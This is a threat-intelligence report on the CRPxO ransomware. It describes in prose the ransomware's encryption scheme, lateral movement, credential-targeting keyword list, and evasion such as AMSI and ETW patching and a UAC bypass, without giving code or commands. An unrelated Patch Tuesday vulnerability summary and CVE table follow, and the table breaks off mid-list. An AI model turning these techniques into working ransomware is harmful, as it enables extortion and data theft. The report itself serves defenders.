CRPxO is a ransomware group that operates under a Ransomware-as-a-Service (RaaS) model. They made a notable debut in the ransomware landscape during July 2026, emerging alongside a few other new entrants to immediately establish a significant footprint. The actor has claimed 37 victims between 9 July and 2 August 2026, and the set is heavily weighted toward US organisations. Türkiye is a distant but conspicuous second at seven, with single claims scattered across the Netherlands, South Korea, Australia, China, the UK and Ireland.

Symantec has analyzed one of their recent ransomware variants (sys_core_*.bin); it runs inside a portable Python virtual environment, allowing it to seamlessly execute its attack chain across Windows, Darwin (macOS), and Linux platforms. It handles everything from command-and-control (C2) communication—routing through both clearweb and .onion endpoints—to encryption and self-deletion, all within the same script. The binary doubles as the decryptor if passed the correct key via the command line.

The crypto splits along an unusual line. Local files get a randomly generated symmetric key encrypted with Fernet, and that key is uploaded to the C2 rather than wrapped locally with an embedded public key. Files on remote Windows shares take a different path: RSA with a hard-coded public key, so the private half sits only with whoever runs the panel. Shares are encrypted directly—skipping .exe, .dll, .sys, .ini, .lnk and existing .crpx0 files—meaning a file server can be hit without the malware ever executing on it.

Propagation is where it stops behaving like commodity Python ransomware. On Windows it enumerates neighbours via Active Directory, IP broadcast and the ARP cache, copies itself to C$\Windows\Temp, registers a scheduled task named "OneDrive Maintenance", and fires it off with wmic; it may also write a GPO startup script into SYSVOL. On Linux and Darwin it parses known_hosts and rides passwordless ssh/scp into /tmp on peers. Persistence is uneven—an onlogon task on Windows, com.apple.sync.plist on macOS, and nothing at all on Linux, where reinfection from a peer appears to be the intended survival mechanism.

Collection is selective. Alongside a sample of ordinary documents it pulls everything matching a curated keyword list—password, credential, token, wallet, metamask, seed, passport, ssn, vpn, backup—plus .kdbx, .keychain, .pem, .p12, .env, .ovpn and .keystore. The encryption exclusions are the tell: OS trees and the Python install are spared so the host stays usable, /tmp is skipped on Linux because that is the staging directory, and .ssh plus shell history are preserved outright—the very key material propagation depends on. Whoever wrote this was thinking about the next host, not just the current one.

The Windows evasion stack is far more developed than the crude chr()-obfuscated loader suggests: three debugger checks including debug-register inspection, sleep/GetTickCount timing comparison, sandbox artifact enumeration, and over a million API calls fired purely to exhaust analysis timeouts. It tries to unhook ntdll.dll from disk, patch AmsiScanBuffer and EtwEventWrite, bypass UAC through fodhelper.exe, and kill 73 security processes and 57 services across essentially every major vendor. Cleanup is a dropped .vbs or .sh that deletes the payload and then itself.

Impact is layered—notes across Desktop, Documents, Downloads and platform-specific paths, an HTML variant opened through Python's webbrowser module, wallpaper replaced. The scan_report.json it leaves behind doubles as the decryptor's own file index. Two loose threads in the code: a reference to a decoy PDF, and an embedded affiliate ID.

This month we got patches for 418 vulnerabilities. Of these, 62 are critical, 1 is being exploited in the wild, and 2 were publicly disclosed as zero-days. Notable fixes include Windows privilege escalation, container tampering, and critical QUIC and DNS Server remote code execution bugs.

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability (CVE-2026-68820)
This Important-severity elevation of privilege vulnerability is listed by Microsoft as exploited in the wild but not publicly disclosed, and it has a CVSS score of 7.0. The flaw is a use-after-free issue in the Windows Ancillary Function Driver for WinSock affecting supported Windows client and server versions; a locally authenticated attacker with low privileges could run a specially crafted application to trigger a race condition and, if successful, gain SYSTEM privileges. The CVSS vector reflects local access, low privileges required, no user interaction, and high attack complexity because exploitation requires winning that race condition. Administrators should prioritize applying the relevant Windows security updates, particularly on systems where local code execution by untrusted users is possible, and monitor for suspicious privilege-escalation activity.

Windows User Profile Service Elevation of Privilege Vulnerability (CVE-2026-62832)
Microsoft says this vulnerability has been publicly disclosed but has not been exploited in the wild, making it a zero-day disclosure without confirmed exploitation at this time. Rated Important with a CVSS score of 7.8, this Windows User Profile Service flaw is an improper link resolution, or “link following,” issue that could allow a local authenticated attacker to elevate privileges. To exploit it, an attacker would need credentials for another local account and could run a specially crafted application to load another user’s registry hive; successful exploitation could allow access to or modification of another user’s data and ultimately grant administrator privileges. User interaction is not required. Administrators should prioritize applying the Microsoft security updates across affected Windows 10, Windows 11, Windows Server 2022, and Windows Server 2025 systems, and should also limit local account reuse and monitor for unusual registry hive loading or profile service activity.

Windows Container Isolation FS Filter Driver (unionfs.sys) Tampering Vulnerability (CVE-2026-72971)
This vulnerability was publicly disclosed before Patch Tuesday, making it a zero-day, but Microsoft says it has not been exploited in the wild; it is rated Important with a CVSS score of 5.5. The flaw is an improper link-resolution, or “link following,” issue in the Windows Container Isolation file system filter driver, unionfs.sys, affecting Windows 11 Version 26H1 on x64 and ARM64 systems. A local, authenticated attacker could exploit it with low complexity and no user interaction to tamper with files, resulting in high integrity impact, though Microsoft rates confidentiality and availability impact as none. Administrators should apply the Windows updates that correct the driver’s link-handling behavior, particularly on systems using Windows containers or container isolation features.

Microsoft QUIC Remote Code Execution Vulnerability (CVE-2026-62815)
This Critical Microsoft QUIC remote code execution vulnerability is not listed as exploited in the wild or publicly disclosed. It carries a CVSS score of 9.8 and is a use-after-free flaw that could allow an unauthenticated remote attacker to send a specially crafted packet to an affected service over the network and execute code on the target system, with no user interaction required. Affected platforms include Windows 11 and Windows Server 2022/2025, including Server Core installations. Administrators should prioritize applying the Microsoft update, especially on systems exposing QUIC-enabled services to untrusted networks, and consider limiting network exposure where patching cannot be completed immediately.

Windows DNS Server Remote Code Execution Vulnerability (CVE-2026-62878)
Microsoft reports that CVE-2026-62878 is neither exploited in the wild nor publicly disclosed; it is a Critical Windows DNS Server remote code execution vulnerability with a CVSS score of 9.8. The flaw is a stack-based buffer overflow in Windows DNS that can be triggered remotely by an unauthenticated attacker sending a specially crafted packet to an affected service over the network, with no user interaction required, potentially allowing code execution on the target DNS server. Affected systems include multiple Windows Server releases from 2012 through 2025, as well as listed Windows 10 versions where the vulnerable component is present. Administrators should apply Microsoft’s security updates promptly, especially on DNS servers, and reduce exposure by limiting DNS service access to trusted networks where possible, blocking unnecessary inbound traffic at firewalls, and monitoring DNS servers for crashes or anomalous traffic patterns.

This was a summary of Microsoft’s monthly updates highlighting some important vulnerabilities. Prioritize the exploited WinSock privilege-escalation flaw, then the publicly disclosed User Profile Service and unionfs.sys issues, and patch internet-exposed QUIC services and DNS servers quickly due to remote code execution risk.

A detailed list of this month's vulnerabilities follows below. To search and filter them, visit my dashboard: https://patchlens.io

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Core Remote Code Execution Vulnerability
CVE-2026-70354	No	No	-	-	Important	7.8	6.8
.NET Denial of Service Vulnerability
CVE-2026-62901	No	No	-	-	Important	7.5	6.5
.NET Elevation of Privilege Vulnerability
CVE-2026-62909	No	No	-	-	Important	7.8	6.8
CVE-2026-58641	No	No	-	-	Important	7.8	6.8
CVE-2026-62871	No	No	-	-	Important	7.8	6.8
CVE-2026-62886	No	No	-	-	Important	7.8	6.8
.NET Framework Elevation of Privilege Vulnerability
CVE-2026-62872	No	No	-	-	Important	8.8	7.7
CVE-2026-65810	No	No	-	-	Important	7.8	6.8
.NET Framework Remote Code Execution Vulnerability
CVE-2026-62897	No	No	-	-	Important	7.0	6.1
.NET Information Disclosure Vulnerability
CVE-2026-62900	No	No	-	-	Important	5.9	5.2
CVE-2026-62902	No	No	-	-	Important	6.5	5.7
.NET Security Feature Bypass Vulnerability
CVE-2026-62899	No	No	-	-	Important	5.9	5.2
AMD Zen Information Disclosure Vulnerability
CVE-2026-59130	No	No	-	-	Important	5.6	4.9
CVE-2026-59131	No	No	-	-	Important	5.6	4.9
Active Directory Security Feature Bypass Vulnerability
CVE-2026-65777	No	No	-	-	Important	5.3	4.6
Application Information Services Elevation of Privilege Vulnerability
CVE-2026-61357	No	No	-	-	Important	7.8	6.8
Application Insights Profiler Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-49163	No	No	-	-	Critical	8.8	7.7
Azure Active Directory Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-50481	No	No	-	-	Critical	9.9	8.6
Azure Confidential Ledger Remote Code Execution Vulnerability (no customer action required)
CVE-2026-68823	No	No	-	-	Critical	9.1	7.9
Azure CycleCloud Elevation of Privilege Vulnerability
CVE-2026-70340	No	No	-	-	Important	8.1	7.1
Azure CycleCloud Information Disclosure Vulnerability
CVE-2026-65806	No	No	-	-	Important	6.5	5.7
Azure Entra ID Spoofing Vulnerability (no customer action required)
CVE-2026-62869	No	No	-	-	Critical	8.8	7.7
Azure Logic Apps Information Disclosure Vulnerability (no customer action required)
CVE-2026-56161	No	No	-	-	Critical	9.6	8.3
Azure Monitor Agent Elevation of Privilege Vulnerability
CVE-2026-47299	No	No	-	-	Important	7.2	6.3
Azure SQL Database Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-63522	No	No	-	-	Critical	7.8	6.8
CVE-2026-56162	No	No	-	-	Critical	10.0	8.7
Azure SQL Managed Instance Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-62836	No	No	-	-	Critical	8.7	7.6
Azure SRE Agent Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-62830	No	No	-	-	Critical	9.9	8.6
Azure Service Bus Remote Code Execution Vulnerability (no customer action required)
CVE-2026-50515	No	No	-	-	Critical	9.9	8.6
Azure Storage Explorer Elevation of Privilege Vulnerability
CVE-2026-57104	No	No	-	-	Important	8.8	7.7
Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability
CVE-2026-62892	No	No	-	-	Important	7.0	6.1
CoPilot Chat Security Feature Bypass Vulnerability
CVE-2026-65675	No	No	-	-	Important	7.1	6.2
Copilot Cowork Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-59118	No	No	-	-	Critical	9.3	8.1
Desktop Window Manager Elevation of Privilege Vulnerability
CVE-2026-65786	No	No	-	-	Important	7.8	6.8
CVE-2026-65787	No	No	-	-	Important	7.8	6.8
CVE-2026-65788	No	No	-	-	Important	7.0	6.1
GitHub Copilot and Visual Studio Code Elevation of Privilege Vulnerability
CVE-2026-70335	No	No	-	-	Important	7.8	6.8
Microsoft 365 Admin Center Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-62873	No	No	-	-	Critical	9.8	8.5
Microsoft Access Remote Code Execution Vulnerability
CVE-2026-64906	No	No	-	-	Important	7.8	6.8
CVE-2026-64912	No	No	-	-	Important	7.8	6.8
CVE-2026-64908	No	No	-	-	Important	7.8	6.8
CVE-2026-64914	No	No	-	-	Important	7.8	6.8
CVE-2026-64920	No	No	-	-	Important	7.8	6.8
CVE-2026-64919	No	No	-	-	Important	7.8	6.8
Microsoft Azure Kubernetes Service Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-50516	No	No	-	-	Critical	9.4	8.2
Microsoft COM for Windows Information Disclosure Vulnerability
CVE-2026-59136	No	No	-	-	Important	5.5	4.8
Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability
CVE-2026-54123	No	No	-	-	Important	5.5	4.8
Microsoft Digest Authentication Elevation of Privilege Vulnerability
CVE-2026-62698	No	No	-	-	Important	7.8	6.8
Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability
CVE-2026-66301	No	No	-	-	Important	6.5	5.7
Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
CVE-2026-65815	No	No	-	-	Important	8.8	7.7
Microsoft Dynamics Business Central Information Disclosure Vulnerability
CVE-2026-40375	No	No	-	-	Important	6.5	5.7
Microsoft Entra Connect Elevation of Privilege Vulnerability
CVE-2026-65673	No	No	-	-	Important	7.8	6.8
Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-59115	No	No	-	-	Critical	9.9	8.6
Microsoft Excel Information Disclosure Vulnerability
CVE-2026-68802	No	No	-	-	Important	5.5	4.8
CVE-2026-68808	No	No	-	-	Important	5.5	4.8
CVE-2026-68813	No	No	-	-	Important	5.5	4.8
CVE-2026-70318	No	No	-	-	Important	5.5	4.8
CVE-2026-70327	No	No	-	-	Important	6.5	5.7
CVE-2026-70328	No	No	-	-	Important	6.5	5.7
CVE-2026-68797	No	No	-	-	Important	5.5	4.8
CVE-2026-68799	No	No	-	-	Important	5.5	4.8
Microsoft Excel Remote Code Execution Vulnerability
CVE-2026-65807	No	No	-	-	Important	8.8	7.7
CVE-2026-68793	No	No	-	-	Important	7.8	6.8
CVE-2026-68794	No	No	-	-	Critical	7.8	6.8
CVE-2026-68795	No	No	-	-	Important	7.8	6.8
CVE-2026-68796	No	No	-	-	Important	7.8	6.8
CVE-2026-68800	No	No	-	-	Important	7.8	6.8
CVE-2026-68807	No	No	-	-	Important	7.8	6.8
CVE-2026-68806	No	No	-	-	Important	7.8	6.8
CVE-2026-68810	No	No	-	-	Important	7.8	6.8
CVE-2026-68811	No	No	-	-	Important	7.8	6.8
CVE-2026-68815	No	No	-	-	Important	7.8	6.8
CVE-2026-68816	No	No	-	-	Critical	7.8	6.8
CVE-2026-68798	No	No	-	-	Important	7.8	6.8
CVE-2026-68801	No	No	-	-	Important	7.8	6.8
CVE-2026-68803	No	No	-	-	Important	7.8	6.8
CVE-2026-68804	No	No	-	-	Critical	7.8	6.8
CVE-2026-68805	No	No	-	-	Important	7.8	6.8
CVE-2026-68812	No	No	-	-	Important	7.8	6.8
CVE-2026-68814	No	No	-	-	Important	7.8	6.8
CVE-2026-68817	No	No	-	-	Important	7.8	6.8
Microsoft Exchange Server Denial of Service Vulnerability
CVE-2026-62912	No	No	-	-	Important	6.5	5.7
Microsoft Exchange Server Elevation of Privilege Vulnerability
CVE-2026-62910	No	No	-	-	Important	7.2	6.3
CVE-2026-65813	No	No	-	-	Important	6.5	5.7
CVE-2026-62911	No	No	-	-	Critical	8.0	7.0
Microsoft Exchange Server Remote Code Execution Vulnerability
CVE-2026-62913	No	No	-	-	Important	8.8	7.7
Microsoft Exchange Server Security Feature Bypass Vulnerability
CVE-2026-62915	No	No	-	-	Important	6.5	5.7
Microsoft Exchange Server Spoofing Vulnerability
CVE-2026-62914	No	No	-	-	Important	7.3	6.4
Microsoft High Performance Computing (HPC) Pack Elevation of Privilege Vulnerability
CVE-2026-59133	No	No	-	-	Important	8.8	7.7
Microsoft High Performance Computing (HPC) Pack Remote Code Execution Vulnerability
CVE-2026-59124	No	No	-	-	Important	9.8	8.5
Microsoft Local Security Authority Server (lsasrv) Remote Code Execution Vulnerability
CVE-2026-62784	No	No	-	-	Important	8.8	7.7
Microsoft Office Elevation of Privilege Vulnerability
CVE-2026-68792	No	No	-	-	Important	7.8	6.8
Microsoft Office Graphics Component Information Disclosure Vulnerability
CVE-2026-63517	No	No	-	-	Important	5.5	4.8
CVE-2026-62842	No	No	-	-	Important	5.5	4.8
CVE-2026-66809	No	No	-	-	Important	5.5	4.8
Microsoft Office Graphics Component Remote Code Execution Vulnerability
CVE-2026-63513	No	No	-	-	Critical	7.8	6.8
CVE-2026-63519	No	No	-	-	Critical	7.8	6.8
CVE-2026-65664	No	No	-	-	Critical	7.8	6.8
CVE-2026-63526	No	No	-	-	Critical	7.8	6.8
CVE-2026-66807	No	No	-	-	Critical	7.8	6.8
Microsoft Office Information Disclosure Vulnerability
CVE-2026-70315	No	No	-	-	Important	5.5	4.8
CVE-2026-70314	No	No	-	-	Important	5.5	4.8
CVE-2026-70317	No	No	-	-	Important	5.5	4.8
CVE-2026-70323	No	No	-	-	Important	5.5	4.8
CVE-2026-63524	No	No	-	-	Important	5.5	4.8
CVE-2026-63529	No	No	-	-	Important	5.5	4.8
CVE-2026-64899	No	No	-	-	Important	5.5	4.8
Microsoft Office Remote Code Execution Vulnerability
CVE-2026-63515	No	No	-	-	Critical	7.8	6.8
CVE-2026-65657	No	No	-	-	Critical	7.8	6.8
CVE-2026-65656	No	No	-	-	Important	7.8	6.8
CVE-2026-65661	No	No	-	-	Important	7.8	6.8
CVE-2026-63532	No	No	-	-	Critical	7.8	6.8
CVE-2026-63533	No	No	-	-	Important	7.8	6.8
CVE-2026-64898	No	No	-	-	Critical	7.8	6.8
CVE-2026-64903	No	No	-	-	Critical	7.8	6.8
CVE-2026-64904	No	No	-	-	Important	7.8	6.8
CVE-2026-64909	No	No	-	-	Critical	7.8	6.8
CVE-2026-64910	No	No	-	-	Critical	7.8	6.8
CVE-2026-64911	No	No	-	-	Critical	7.8	6.8
CVE-2026-70130	No	No	-	-	Critical	8.4	7.3
Microsoft Office SharePoint Spoofing Vulnerability
CVE-2026-57105	No	No	-	-	Important	8.0	7.0
CVE-2026-70306	No	No	-	-	Important	9.3	8.1
CVE-2026-70332	No	No	-	-	Critical	9.6	8.3
Microsoft Office Word Information Disclosure Vulnerability
CVE-2026-63521	No	No	-	-	Important	5.5	4.8
CVE-2026-70319	No	No	-	-	Important	5.5	4.8
CVE-2026-63528	No	No	-	-	Important	5.5	4.8
CVE-2026-63530	No	No	-	-	Important	5.5	4.8
CVE-2026-63531	No	No	-	-	Important	5.5	4.8
CVE-2026-64917	No	No	-	-	Important	5.5	4.8
CVE-2026-66806	No	No	-	-	Important	5.5	4.8
CVE-2026-66810	No	No	-	-	Important	5.5	4.8
Microsoft Office Word Remote Code Execution Vulnerability
CVE-2026-63518	No	No	-	-	Critical	7.8	6.8
CVE-2026-70311	No	No	-	-	Important	7.8	6.8
CVE-2026-63525	No	No	-	-	Critical	7.8	6.8
CVE-2026-63527	No	No	-	-	Important	7.8	6.8
CVE-2026-64905	No	No	-	-	Important	7.8	6.8
CVE-2026-64907	No	No	-	-	Critical	7.8	6.8
CVE-2026-64915	No	No	-	-	Important	7.8	6.8
Microsoft OneDrive for MacOS Elevation of Privilege Vulnerability
CVE-2026-65680	No	No	-	-	Important	6.7	5.8
Microsoft Outlook Remote Code Execution Vulnerability
CVE-2026-70329	No	No	-	-	Important	8.8	7.7
Microsoft Outlook Spoofing Vulnerability
CVE-2026-62882	No	No	-	-	Important	4.3	3.8
Microsoft Planetary Computer Pro Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-63508	No	No	-	-	Critical	10.0	8.7
Microsoft PowerPoint Remote Code Execution Vulnerability
CVE-2026-70313	No	No	-	-	Important	7.8	6.8
Microsoft PowerShell Remote Code Execution Vulnerability
CVE-2026-70337	No	No	-	-	Important	8.8	7.7
Microsoft PowerShell Security Feature Bypass Vulnerability
CVE-2026-70338	No	No	-	-	Important	7.8	6.8
Microsoft Purview eDiscovery Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-65668	No	No	-	-	Critical	8.8	7.7
Microsoft QUIC Information Disclosure Vulnerability
CVE-2026-62898	No	No	-	-	Important	7.5	6.5
Microsoft QUIC Remote Code Execution Vulnerability
CVE-2026-62815	No	No	-	-	Critical	9.8	8.5
Microsoft Remote Registry Service Denial of Service Vulnerability
CVE-2026-59138	No	No	-	-	Important	6.5	5.7
CVE-2026-61345	No	No	-	-	Important	6.5	5.7
Microsoft SharePoint Elevation of Privilege Vulnerability
CVE-2026-70324	No	No	-	-	Important	8.8	7.7
Microsoft SharePoint Remote Code Execution Vulnerability
CVE-2026-70321	No	No	-	-	Important	8.8	7.7
Microsoft SharePoint Server Elevation of Privilege Vulnerability
CVE-2026-62827	No	No	-	-	Critical	8.8	7.7
CVE-2026-70355	No	No	-	-	Important	7.3	7.3
CVE-2026-64921	No	No	-	-	Critical	8.8	7.7
CVE-2026-70326	No	No	-	-	Important	8.8	7.7
Microsoft SharePoint Server Information Disclosure Vulnerability
CVE-2026-62837	No	No	-	-	Important	6.5	5.7
Microsoft SharePoint Server Remote Code Execution Vulnerability
CVE-2026-63514	No	No	-	-	Important	8.8	7.7
CVE-2026-63520	No	No	-	-	Important	8.1	7.1
CVE-2026-65658	No	No	-	-	Important	8.8	7.7
CVE-2026-65663	No	No	-	-	Important	8.8	7.7
CVE-2026-65665	No	No	-	-	Critical	8.8	7.7
CVE-2026-64901	No	No	-	-	Important	8.8	7.7
CVE-2026-66805	No	No	-	-	Important	8.8	7.7
CVE-2026-66808	No	No	-	-	Important	8.8	7.7
Microsoft SharePoint Server Spoofing Vulnerability
CVE-2026-62829	No	No	-	-	Important	4.6	4.0
CVE-2026-63516	No	No	-	-	Important	6.5	5.7
CVE-2026-64922	No	No	-	-	Important	4.6	4.0
CVE-2026-65660	No	No	-	-	Important	6.5	5.7
CVE-2026-64897	No	No	-	-	Important	4.6	4.0
CVE-2026-64900	No	No	-	-	Important	7.3	6.4
CVE-2026-64902	No	No	-	-	Important	4.6	4.0
CVE-2026-64916	No	No	-	-	Important	4.6	4.0
CVE-2026-58639	No	No	-	-	Important	6.5	5.7
CVE-2026-62839	No	No	-	-	Important	6.5	5.7
CVE-2026-62917	No	No	-	-	Important	4.6	4.0
Microsoft SharePoint Server Tampering Vulnerability
CVE-2026-63512	No	No	-	-	Important	6.5	5.7
Microsoft Teams Elevation of Privilege Vulnerability (no customer action required)
CVE-2026-62896	No	No	-	-	Critical	9.6	8.3
CVE-2026-65667	No	No	-	-	Critical	10.0	8.7
Microsoft Teams Remote Code Execution Vulnerability
CVE-2026-65768	No	No	-	-	Important	8.8	7.7
Microsoft Teams Spoofing Vulnerability (no customer action required)
CVE-2026-62918	No	No	-	-	Critical	7.5	6.5
Microsoft Teams for Android and iOS Spoofing Vulnerability
CVE-2026-65767	No	No	-	-	Important	8.8	7.7
Microsoft Teams iOS Information Disclosure Vulnerability
CVE-2026-65769	No	No	-	-	Important	6.5	5.7
Microsoft Windows Cross Device Service Elevation of Privilege Vulnerability
CVE-2026-66804	No	No	-	-	Important	7.8	6.8
Microsoft Windows Search Component Information Disclosure Vulnerability
CVE-2026-59135	No	No	-	-	Important	5.5	4.8
Microsoft Windows Storage Port Driver Elevation of Privilege Vulnerability
CVE-2026-65814	No	No	-	-	Important	7.8	6.8
Microsoft Word Information Disclosure Vulnerability
CVE-2026-70310	No	No	-	-	Important	5.5	4.8
Microsoft Word Remote Code Execution Vulnerability
CVE-2026-58651	No	No	-	-	Important	7.8	6.8
Power BI Remote Code Execution Vulnerability
CVE-2026-65811	No	No	-	-	Important	8.8	7.7
PowerShell Elevation of Privilege Vulnerability
CVE-2026-59119	No	No	-	-	Important	7.3	6.4
PowerShell Information Disclosure Vulnerability
CVE-2026-58612	No	No	-	-	Important	7.4	6.4
Powerpoint Information Disclosure Vulnerability
CVE-2026-68809	No	No	-	-	Important	5.5	4.8
CVE-2026-70312	No	No	-	-	Important	5.5	4.8
CVE-2026-70316	No	No	-	-	Important	5.5	4.8
CVE-2026-70325	No	No	-	-	Important	5.5	4.8
CVE-2026-70320	No	No	-	-	Important	5.5	4.8
CVE-2026-70322	No	No	-	-	Important	5.5	4.8
RPC Runtime Library Remote Code Execution Vulnerability
CVE-2026-62781	No	No	-	-	Important	8.1	7.1
Remote Access API Elevation of Privilege Vulnerability
CVE-2026-65671	No	No	-	-	Important	7.8	6.8
CVE-2026-65672	No	No	-	-	Important	7.8	6.8
Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability
CVE-2026-42976	No	No	-	-	Important	7.8	6.8
Remote Desktop Client Remote Code Execution Vulnerability
CVE-2026-59134	No	No	-	-	Important	7.5	6.5
CVE-2026-61352	No	No	-	-	Important	7.5	6.5
CVE-2026-61363	No	No	-	-	Important	7.5	6.5
CVE-2026-62824	No	No	-	-	Critical	8.8	7.7
Remote Procedure Call Denial of Service Vulnerability
CVE-2026-54113	No	No	-	-	Important	7.5	6.5
Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability
CVE-2026-59125	No	No	-	-	Important	7.0	6.1
Visual Studio Code Information Disclosure Vulnerability
CVE-2026-47285	No	No	-	-	Important	6.5	5.7
Visual Studio Code Python Extension Security Feature Bypass Vulnerability
CVE-2026-54981	No	No	-	-	Important	7.8	6.8
Visual Studio Code Remote Code Execution Vulnerability
CVE-2026-59113	No	No	-	-	Important	8.8	7.7
CVE-2026-69320	No	No	-	-	Important	8.8	7.7
CVE-2026-70336	No	No	-	-	Important	8.8	7.7
Visual Studio Code Security Feature Bypass Vulnerability
CVE-2026-58650	No	No	-	-	Important	7.8	6.8
CVE-2026-69278	No	No	-	-	Important	7.8	6.8
CVE-2026-69306	No	No	-	-	Important	8.2	7.1
Win32k Information Disclosure Vulnerability
CVE-2026-62746	No	No	-	-	Important	5.5	4.8
CVE-2026-62798	No	No	-	-	Important	5.5	4.8
CVE-2026-62743	No	No	-	-	Important	5.5	4.8
CVE-2026-62786	No	No	-	-	Important	5.5	4.8
Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability
CVE-2026-61358	No	No	-	-	Important	7.8	6.8
Windows Active Directory Certificate Services (AD CS) Remote Code Execution Vulnerability
CVE-2026-62818	No	No	-	-	Critical	8.8	7.7
Windows Active Directory Domain Services Remote Code Execution Vulnerability
CVE-2026-49179	No	No	-	-	Important	8.8	7.7
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
CVE-2026-61348	No	No	-	-	Important	7.0	6.1
CVE-2026-68820	No	Yes	-	-	Important	7.0	6.1
CVE-2026-70307	No	No	-	-	Important	7.0	6.1
Windows Autopilot Elevation of Privilege Vulnerability
CVE-2026-65783	No	No	-	-	Important	7.0	6.1
CVE-2026-65779	No	No	-	-	Important	7.0	6.1
CVE-2026-65780	No	No	-	-	Important	7.0	6.1
CVE-2026-65778	No	No	-	-	Important	7.0	6.1
CVE-2026-65782	No	No	-	-	Important	7.0	6.1
CVE-2026-65781	No	No	-	-	Important	7.0	6.1
Windows Backup Engine Elevation of Privilege Vulnerability
CVE-2026-62908	No	No	-	-	Important	7.0	6.1
Windows Bind Filter Driver Elevation of Privilege Vulnerability
CVE-2026-61927	No	No	-	-	Important	7.0	6.1
CVE-2026-61934	No	No	-	-	Important	7.8	6.8
CVE-2026-62705	No	No	-	-	Important	7.0	6.1
CVE-2026-62722	No	No	-	-	Important	7.8	6.8
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
CVE-2026-62713	No	No	-	-	Important	7.8	6.8
CVE-2026-62771	No	No	-	-	Important	7.8	6.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
CVE-2026-62728	No	No	-	-	Important	7.0	6.1
Windows Container Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability
CVE-2026-62772	No	No	-	-	Important	7.8	6.8
Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability
CVE-2026-62775	No	No	-	-	Important	5.5	4.8
Windows Container Isolation FS Filter Driver (unionfs.sys) Tampering Vulnerability
CVE-2026-72971	Yes	No	-	-	Important	5.5	4.8
Windows DHCP Client Denial of Service Vulnerability
CVE-2026-65785	No	No	-	-	Important	6.5	5.7
Windows DHCP Client Elevation of Privilege Vulnerability
CVE-2026-62755	No	No	-	-	Important	7.8	6.8
CVE-2026-62736	No	No	-	-	Important	7.8	6.8
Windows DHCP Client Remote Code Execution Vulnerability
CVE-2026-61361	No	No	-	-	Important	7.0	6.1
Windows DHCP Server Elevation of Privilege Vulnerability
CVE-2026-62812	No	No	-	-	Important	7.8	6.8
CVE-2026-62761	No	No	-	-	Important	7.8	6.8
CVE-2026-62776	No	No	-	-	Important	7.8	6.8
CVE-2026-62803	No	No	-	-	Important	7.8	6.8
CVE-2026-62807	No	No	-	-	Important	7.8	6.8
Windows DHCP Server Information Disclosure Vulnerability
CVE-2026-62718	No	No	-	-	Important	6.5	5.7
CVE-2026-62715	No	No	-	-	Important	6.5	5.7
CVE-2026-62716	No	No	-	-	Important	6.5	5.7
CVE-2026-62742	No	No	-	-	Important	6.5	5.7
CVE-2026-62745	No	No	-	-	Important	6.5	5.7
CVE-2026-62720	No	No	-	-	Important	6.5	5.7
CVE-2026-62714	No	No	-	-	Important	6.5	5.7
CVE-2026-62814	No	No	-	-	Important	6.5	5.7
Windows DHCP Server Remote Code Execution Vulnerability
CVE-2026-62823	No	No	-	-	Critical	8.8	7.7
Windows DNS Elevation of Privilege Vulnerability
CVE-2026-70304	No	No	-	-	Important	6.7	5.8
CVE-2026-70330	No	No	-	-	Important	6.7	5.8
CVE-2026-62769	No	No	-	-	Important	6.7	5.8
CVE-2026-62778	No	No	-	-	Important	8.1	7.1
CVE-2026-62881	No	No	-	-	Important	6.7	5.8
CVE-2026-62883	No	No	-	-	Important	6.7	5.8
CVE-2026-65795	No	No	-	-	Important	6.7	5.8
CVE-2026-65797	No	No	-	-	Important	6.7	5.8
CVE-2026-65799	No	No	-	-	Important	6.7	5.8
CVE-2026-65798	No	No	-	-	Important	6.7	5.8
Windows DNS Server Remote Code Execution Vulnerability
CVE-2026-62787	No	No	-	-	Important	7.5	6.5
CVE-2026-62817	No	No	-	-	Critical	8.8	7.7
CVE-2026-62820	No	No	-	-	Critical	8.1	7.1
CVE-2026-62878	No	No	-	-	Critical	9.8	8.5
CVE-2026-65789	No	No	-	-	Critical	8.1	7.1
CVE-2026-61920	No	No	-	-	Important	6.6	5.8
Windows DWM Core Library Elevation of Privilege Vulnerability
CVE-2026-61932	No	No	-	-	Important	7.8	6.8
CVE-2026-62894	No	No	-	-	Important	7.8	6.8
CVE-2026-62888	No	No	-	-	Important	7.8	6.8
Windows DWM Core Library Information Disclosure Vulnerability
CVE-2026-61933	No	No	-	-	Important	5.5	4.8
CVE-2026-62703	No	No	-	-	Important	5.5	4.8
Windows Defender Firewall Service Security Feature Bypass Vulnerability
CVE-2026-61936	No	No	-	-	Important	5.5	4.8
Windows Deployment Services TFTP Server Remote Code Execution Vulnerability
CVE-2026-62893	No	No	-	-	Critical	9.8	8.5
Windows Device Association Service Elevation of Privilege Vulnerability
CVE-2026-62747	No	No	-	-	Important	7.8	6.8
CVE-2026-62710	No	No	-	-	Important	7.8	6.8
Windows Device Health Attestation (DHA) Remote Code Execution Vulnerability
CVE-2026-66802	No	No	-	-	Critical	8.1	7.1
CVE-2026-71331	No	No	-	-	Critical	8.1	7.1
Windows Display Enhancement Service Elevation of Privilege Vulnerability
